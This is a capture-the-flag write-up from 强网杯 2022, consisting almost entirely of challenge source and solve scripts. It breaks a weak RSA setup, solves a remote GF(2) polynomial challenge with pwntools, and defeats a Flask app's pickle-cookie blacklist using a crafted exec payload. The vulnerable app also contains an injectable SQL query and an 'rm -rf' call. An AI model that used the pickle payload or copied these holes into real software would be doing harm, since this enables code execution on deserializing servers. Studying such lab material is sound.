强网杯 2022 Writeup

from Crypto.Util.number import getPrime
from secret import falg
pad = lambda s:s + bytes([(len(s)-1)%16+1]*((len(s)-1)%16+1))

n = getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2 * getPrime(128)**2
e = 3

flag = pad(flag)
print(flag)
assert(len(flag) >= 48)
m = int.from_bytes(flag,'big')
c = pow(m,e,n)

print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')

'''
n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
'''

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 8250871280281573979365095715711359115372504458973444367083195431861307534563246537364248104106494598081988216584432003199198805753721448450911308558041115465900179230798939615583517756265557814710419157462721793864532239042758808298575522666358352726060578194045804198551989679722201244547561044646931280001
e = 3
c = 945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149

p1 = 218566259296037866647273372633238739089
p2 = 223213222467584072959434495118689164399
p3 = 225933944608558304529179430753170813347
p4 = 260594583349478633632570848336184053653

assert(n==(p1*p2*p3*p4)**2)
data = gmpy2.invert(e, (p2-1)*p2*p4*(p4-1))
print(long_to_bytes(pow(c, data, p2**2*p4**2)))

# flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

from pwn import *
import string
from hashlib import *
import itertools
from sage.all import *
strs = string.ascii_letters + string.digits
PR = PolynomialRing(Zmod(2), name='x')
x = PR.gen()

def proof(end,sha):
    num=4
    slist=itertools.permutations(strs,int(num))
    for i in slist:
        i = ''.join(i)
        if sha256((i + end.decode()).encode()).hexdigest()==sha.decode():
            return i

def poly(s):
    data = 0
    if s[-1] == '1':
        data = 1
    if 'x' in s.replace('x^',''):
        data += x
    for i in range(2,15):
        if str(i) in s:
            data += x^i
    return data

io = remote('39.107.137.85' ,41366)
context.log_level = 'debug'
io.recvuntil('sha256(XXXX+')
message=io.recvuntil('\n')[:-1]
end = message[:16]
SHA = message[-64:]
io.sendafter('Give me XXXX: ', proof(end,SHA))

for i in range(40):
    io.recvuntil('r(x) = ')
    rx = poly(io.recvuntil('\n')[:-1].decode())
    io.recvuntil('a(x) = ')
    ax = poly(io.recvuntil('\n')[:-1].decode())
    io.recvuntil('c(x) = ')
    cx = poly(io.recvuntil('\n')[:-1].decode())
    bx = (rx-cx)//ax
    print(rx,ax,bx)
    io.sendafter('> b(x) = ',str(bx))
io.recvall()

import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0] 
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success") 
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

def login():
    resp = make_response("success") 
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

def get_password(username):
    if username=="admin":
        return admin.secret

if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"

import base64

data = b'''(S'exec('admin.se'+'cret="admin"')'
i__builtin__
exec
.'''

print(base64.b64encode(data))
# KFMnZXhlYygnYWRtaW4uc2UnKydjcmV0PSJhZG1pbiInKScKaV9fYnVpbHRpbl9fCmV4ZWMKLg==